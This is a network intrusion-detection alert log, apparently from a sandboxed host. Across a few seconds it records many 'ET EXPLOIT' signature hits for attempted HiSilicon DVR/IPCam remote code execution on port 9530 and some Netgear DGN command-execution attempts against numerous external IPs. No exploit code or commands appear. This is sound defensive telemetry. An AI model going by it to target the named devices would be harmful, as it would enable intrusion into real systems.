05/16/24-16:39:02.767184	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53392	9530	192.168.2.23	9.235.35.42
05/16/24-16:39:08.145401	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52356	9530	192.168.2.23	120.17.233.53
05/16/24-16:38:59.557632	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55070	9530	192.168.2.23	202.109.104.125
05/16/24-16:39:05.705586	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52396	9530	192.168.2.23	204.140.231.228
05/16/24-16:38:59.590385	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48694	9530	192.168.2.23	113.206.98.145
05/16/24-16:38:59.590385	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48694	9530	192.168.2.23	113.206.98.145
05/16/24-16:39:05.705586	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52396	9530	192.168.2.23	204.140.231.228
05/16/24-16:38:53.069341	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52398	9530	192.168.2.23	19.11.216.89
05/16/24-16:38:53.069341	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52398	9530	192.168.2.23	19.11.216.89
05/16/24-16:38:59.557632	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55070	9530	192.168.2.23	202.109.104.125
05/16/24-16:38:55.176055	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59244	9530	192.168.2.23	211.158.95.158
05/16/24-16:38:55.176055	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59244	9530	192.168.2.23	211.158.95.158
05/16/24-16:39:13.656949	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	42650	80	192.168.2.23	66.53.197.168
05/16/24-16:39:16.598999	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52334	9530	192.168.2.23	27.45.65.50
05/16/24-16:39:16.598999	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52334	9530	192.168.2.23	27.45.65.50
05/16/24-16:38:50.004125	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37590	9530	192.168.2.23	12.172.250.221
05/16/24-16:38:50.004125	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37590	9530	192.168.2.23	12.172.250.221
05/16/24-16:38:50.078892	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50032	9530	192.168.2.23	124.211.190.237
05/16/24-16:38:50.078892	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50032	9530	192.168.2.23	124.211.190.237
05/16/24-16:39:03.281741	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60792	9530	192.168.2.23	80.234.20.79
05/16/24-16:39:05.709862	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60398	9530	192.168.2.23	133.88.23.174
05/16/24-16:39:14.524369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52658	9530	192.168.2.23	89.9.131.49
05/16/24-16:39:03.281741	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60792	9530	192.168.2.23	80.234.20.79
05/16/24-16:39:05.709862	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60398	9530	192.168.2.23	133.88.23.174
05/16/24-16:39:14.524369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52658	9530	192.168.2.23	89.9.131.49
05/16/24-16:39:16.608731	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35116	9530	192.168.2.23	194.194.189.237
05/16/24-16:39:16.608731	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35116	9530	192.168.2.23	194.194.189.237
05/16/24-16:39:05.677754	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42406	9530	192.168.2.23	143.106.227.76
05/16/24-16:39:05.677754	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42406	9530	192.168.2.23	143.106.227.76
05/16/24-16:38:50.047672	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51886	9530	192.168.2.23	20.91.217.159
05/16/24-16:38:50.047672	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51886	9530	192.168.2.23	20.91.217.159
05/16/24-16:39:13.657143	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	33530	80	192.168.2.23	158.131.1.161
05/16/24-16:39:12.304172	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48008	9530	192.168.2.23	68.66.164.252
05/16/24-16:39:12.304172	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48008	9530	192.168.2.23	68.66.164.252
05/16/24-16:39:03.276022	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32984	9530	192.168.2.23	90.237.133.209
05/16/24-16:39:05.676827	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59706	9530	192.168.2.23	71.93.235.204
05/16/24-16:39:03.276022	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32984	9530	192.168.2.23	90.237.133.209
05/16/24-16:39:05.676827	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59706	9530	192.168.2.23	71.93.235.204
05/16/24-16:39:05.717911	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33032	9530	192.168.2.23	116.78.38.243
05/16/24-16:39:05.717911	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33032	9530	192.168.2.23	116.78.38.243
05/16/24-16:39:12.380119	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35316	9530	192.168.2.23	17.15.215.118
05/16/24-16:39:02.726986	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55684	9530	192.168.2.23	17.44.185.206
05/16/24-16:38:53.011251	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53626	9530	192.168.2.23	80.140.161.132
05/16/24-16:39:02.726986	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55684	9530	192.168.2.23	17.44.185.206
05/16/24-16:38:53.011251	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53626	9530	192.168.2.23	80.140.161.132
05/16/24-16:39:12.380119	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35316	9530	192.168.2.23	17.15.215.118
05/16/24-16:39:16.582504	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46918	9530	192.168.2.23	80.48.64.79
05/16/24-16:39:03.256828	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48830	9530	192.168.2.23	124.203.230.49
05/16/24-16:39:03.256828	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48830	9530	192.168.2.23	124.203.230.49
05/16/24-16:39:16.582504	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46918	9530	192.168.2.23	80.48.64.79
05/16/24-16:39:08.136418	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36372	9530	192.168.2.23	69.135.41.171
05/16/24-16:39:08.136418	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36372	9530	192.168.2.23	69.135.41.171
05/16/24-16:38:57.448952	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53966	9530	192.168.2.23	221.215.105.122
05/16/24-16:38:57.448952	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53966	9530	192.168.2.23	221.215.105.122
05/16/24-16:39:08.149432	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58312	9530	192.168.2.23	206.208.245.219
05/16/24-16:39:16.604800	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41490	9530	192.168.2.23	196.176.6.80
05/16/24-16:39:14.513677	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48034	9530	192.168.2.23	145.208.84.126
05/16/24-16:39:16.599331	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37272	9530	192.168.2.23	133.208.238.55
05/16/24-16:39:16.599331	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37272	9530	192.168.2.23	133.208.238.55
05/16/24-16:39:16.604800	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41490	9530	192.168.2.23	196.176.6.80
05/16/24-16:39:08.149432	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58312	9530	192.168.2.23	206.208.245.219
05/16/24-16:39:14.513677	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48034	9530	192.168.2.23	145.208.84.126
05/16/24-16:39:05.677803	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34436	9530	192.168.2.23	48.120.130.71
05/16/24-16:39:05.677803	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34436	9530	192.168.2.23	48.120.130.71
05/16/24-16:39:03.262228	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42084	9530	192.168.2.23	40.12.64.200
05/16/24-16:39:14.491212	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52844	9530	192.168.2.23	81.31.91.250
05/16/24-16:39:16.579924	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45404	9530	192.168.2.23	128.197.212.10
05/16/24-16:39:03.262228	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42084	9530	192.168.2.23	40.12.64.200
05/16/24-16:39:14.491212	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52844	9530	192.168.2.23	81.31.91.250
05/16/24-16:39:16.579924	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45404	9530	192.168.2.23	128.197.212.10
05/16/24-16:39:05.677884	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45676	9530	192.168.2.23	156.199.240.97
05/16/24-16:39:12.401794	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58132	9530	192.168.2.23	115.117.127.166
05/16/24-16:39:05.677884	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45676	9530	192.168.2.23	156.199.240.97
05/16/24-16:38:55.175060	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47676	9530	192.168.2.23	107.135.125.24
05/16/24-16:38:55.175060	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47676	9530	192.168.2.23	107.135.125.24
05/16/24-16:39:16.599069	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38044	9530	192.168.2.23	179.156.10.208
05/16/24-16:39:16.599069	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38044	9530	192.168.2.23	179.156.10.208
05/16/24-16:39:05.717268	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45392	9530	192.168.2.23	198.96.141.53
05/16/24-16:39:12.403737	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58446	9530	192.168.2.23	9.158.183.15
05/16/24-16:39:05.717268	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45392	9530	192.168.2.23	198.96.141.53
05/16/24-16:39:12.403737	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58446	9530	192.168.2.23	9.158.183.15
05/16/24-16:39:08.127172	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34546	9530	192.168.2.23	217.111.146.74
05/16/24-16:39:08.127172	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34546	9530	192.168.2.23	217.111.146.74
05/16/24-16:39:08.045002	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34738	9530	192.168.2.23	79.22.87.200
05/16/24-16:39:08.045002	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34738	9530	192.168.2.23	79.22.87.200
05/16/24-16:39:05.716958	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34040	9530	192.168.2.23	31.47.1.167
05/16/24-16:39:05.716958	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34040	9530	192.168.2.23	31.47.1.167
05/16/24-16:38:59.588237	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33750	9530	192.168.2.23	18.32.140.208
05/16/24-16:38:59.588237	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33750	9530	192.168.2.23	18.32.140.208
05/16/24-16:39:05.677921	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58780	9530	192.168.2.23	46.118.209.31
05/16/24-16:39:05.677921	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58780	9530	192.168.2.23	46.118.209.31
05/16/24-16:39:08.127190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41684	9530	192.168.2.23	195.145.171.116
05/16/24-16:39:08.127190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41684	9530	192.168.2.23	195.145.171.116
05/16/24-16:38:53.013566	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59624	9530	192.168.2.23	54.249.80.205
05/16/24-16:39:03.262279	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52354	9530	192.168.2.23	182.22.205.138
05/16/24-16:38:53.013566	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59624	9530	192.168.2.23	54.249.80.205
05/16/24-16:38:57.305739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34550	9530	192.168.2.23	162.232.109.179
05/16/24-16:39:03.262279	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52354	9530	192.168.2.23	182.22.205.138
05/16/24-16:38:57.305739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34550	9530	192.168.2.23	162.232.109.179
05/16/24-16:39:08.145373	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42036	9530	192.168.2.23	185.246.237.66
05/16/24-16:39:08.145373	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42036	9530	192.168.2.23	185.246.237.66
05/16/24-16:39:12.304198	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34200	9530	192.168.2.23	86.146.27.227
05/16/24-16:39:12.401794	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58132	9530	192.168.2.23	115.117.127.166
05/16/24-16:39:12.304198	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34200	9530	192.168.2.23	86.146.27.227
05/16/24-16:38:57.306859	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50236	9530	192.168.2.23	70.146.197.114
05/16/24-16:38:57.306859	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50236	9530	192.168.2.23	70.146.197.114
05/16/24-16:38:59.607524	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57132	9530	192.168.2.23	38.144.2.176
05/16/24-16:39:08.146648	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47242	9530	192.168.2.23	61.4.170.186
05/16/24-16:39:08.146648	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47242	9530	192.168.2.23	61.4.170.186
05/16/24-16:38:59.607524	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57132	9530	192.168.2.23	38.144.2.176
05/16/24-16:39:14.507220	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42138	9530	192.168.2.23	37.215.131.109
05/16/24-16:39:14.507220	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42138	9530	192.168.2.23	37.215.131.109
05/16/24-16:39:12.400568	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37306	9530	192.168.2.23	57.194.49.34
05/16/24-16:39:12.400568	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37306	9530	192.168.2.23	57.194.49.34
05/16/24-16:39:05.675678	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59294	9530	192.168.2.23	210.118.40.170
05/16/24-16:39:05.675678	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59294	9530	192.168.2.23	210.118.40.170
05/16/24-16:38:55.231975	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52956	9530	192.168.2.23	31.212.37.36
05/16/24-16:39:16.600084	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33698	9530	192.168.2.23	93.79.64.68
05/16/24-16:38:55.231975	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52956	9530	192.168.2.23	31.212.37.36
05/16/24-16:39:08.127214	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40162	9530	192.168.2.23	67.77.43.16
05/16/24-16:39:16.600084	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33698	9530	192.168.2.23	93.79.64.68
05/16/24-16:39:08.127214	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40162	9530	192.168.2.23	67.77.43.16
05/16/24-16:38:55.187222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56080	9530	192.168.2.23	176.152.141.9
05/16/24-16:39:08.127127	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34456	9530	192.168.2.23	165.217.108.185
05/16/24-16:39:08.127127	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34456	9530	192.168.2.23	165.217.108.185
05/16/24-16:39:02.748336	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32998	9530	192.168.2.23	135.2.253.205
05/16/24-16:39:02.748336	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32998	9530	192.168.2.23	135.2.253.205
05/16/24-16:38:55.187222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56080	9530	192.168.2.23	176.152.141.9
05/16/24-16:38:57.429288	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53916	9530	192.168.2.23	140.23.246.94
05/16/24-16:38:57.429288	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53916	9530	192.168.2.23	140.23.246.94
05/16/24-16:38:57.408666	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54550	9530	192.168.2.23	175.16.231.82
05/16/24-16:38:57.408666	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54550	9530	192.168.2.23	175.16.231.82
05/16/24-16:39:02.747533	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57738	9530	192.168.2.23	135.178.217.220
05/16/24-16:39:02.747533	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57738	9530	192.168.2.23	135.178.217.220
05/16/24-16:39:08.127156	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37482	9530	192.168.2.23	88.129.39.188
05/16/24-16:39:08.127156	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37482	9530	192.168.2.23	88.129.39.188
05/16/24-16:39:05.713678	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51990	9530	192.168.2.23	218.91.71.129
05/16/24-16:39:05.713678	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51990	9530	192.168.2.23	218.91.71.129
05/16/24-16:39:02.745933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44524	9530	192.168.2.23	38.62.160.78
05/16/24-16:39:02.745933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44524	9530	192.168.2.23	38.62.160.78
05/16/24-16:38:59.518446	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35256	9530	192.168.2.23	120.138.126.205
05/16/24-16:38:59.518446	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35256	9530	192.168.2.23	120.138.126.205
05/16/24-16:39:01.475837	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	58292	80	192.168.2.23	28.192.76.236
05/16/24-16:38:55.176088	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37398	9530	192.168.2.23	161.55.141.145
05/16/24-16:38:55.176088	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37398	9530	192.168.2.23	161.55.141.145
05/16/24-16:39:05.707683	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54478	9530	192.168.2.23	42.99.84.238
05/16/24-16:39:05.707683	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54478	9530	192.168.2.23	42.99.84.238
05/16/24-16:39:08.041222	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36044	9530	192.168.2.23	110.150.115.62
05/16/24-16:38:57.304636	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36694	9530	192.168.2.23	14.63.17.145
05/16/24-16:39:08.041222	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36044	9530	192.168.2.23	110.150.115.62
05/16/24-16:38:57.304636	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36694	9530	192.168.2.23	14.63.17.145
05/16/24-16:39:13.661858	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	37620	80	192.168.2.23	173.127.104.48
05/16/24-16:39:14.494517	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53986	9530	192.168.2.23	194.35.222.211
05/16/24-16:39:14.494517	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53986	9530	192.168.2.23	194.35.222.211
05/16/24-16:38:50.047775	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42450	9530	192.168.2.23	109.39.36.80
05/16/24-16:38:50.047775	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42450	9530	192.168.2.23	109.39.36.80
05/16/24-16:39:05.675868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41338	9530	192.168.2.23	137.213.229.3
05/16/24-16:39:05.675868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41338	9530	192.168.2.23	137.213.229.3
05/16/24-16:39:14.523153	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57100	9530	192.168.2.23	43.158.215.1
05/16/24-16:39:14.523153	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57100	9530	192.168.2.23	43.158.215.1
05/16/24-16:38:57.435741	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34070	9530	192.168.2.23	190.13.31.229
05/16/24-16:38:57.435741	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34070	9530	192.168.2.23	190.13.31.229
05/16/24-16:39:08.126426	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52066	9530	192.168.2.23	217.240.133.15
05/16/24-16:39:02.727953	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36836	9530	192.168.2.23	114.74.97.251
05/16/24-16:39:02.727953	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36836	9530	192.168.2.23	114.74.97.251
05/16/24-16:39:08.146117	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47988	9530	192.168.2.23	39.134.169.127
05/16/24-16:39:08.146117	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47988	9530	192.168.2.23	39.134.169.127
05/16/24-16:39:16.580725	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39938	9530	192.168.2.23	76.143.218.216
05/16/24-16:39:16.580725	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39938	9530	192.168.2.23	76.143.218.216
05/16/24-16:38:50.052410	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40248	9530	192.168.2.23	174.213.253.232
05/16/24-16:38:50.052410	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40248	9530	192.168.2.23	174.213.253.232
05/16/24-16:39:14.529066	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59664	9530	192.168.2.23	199.150.189.46
05/16/24-16:39:14.529066	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59664	9530	192.168.2.23	199.150.189.46
05/16/24-16:39:05.706099	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48732	9530	192.168.2.23	83.152.0.15
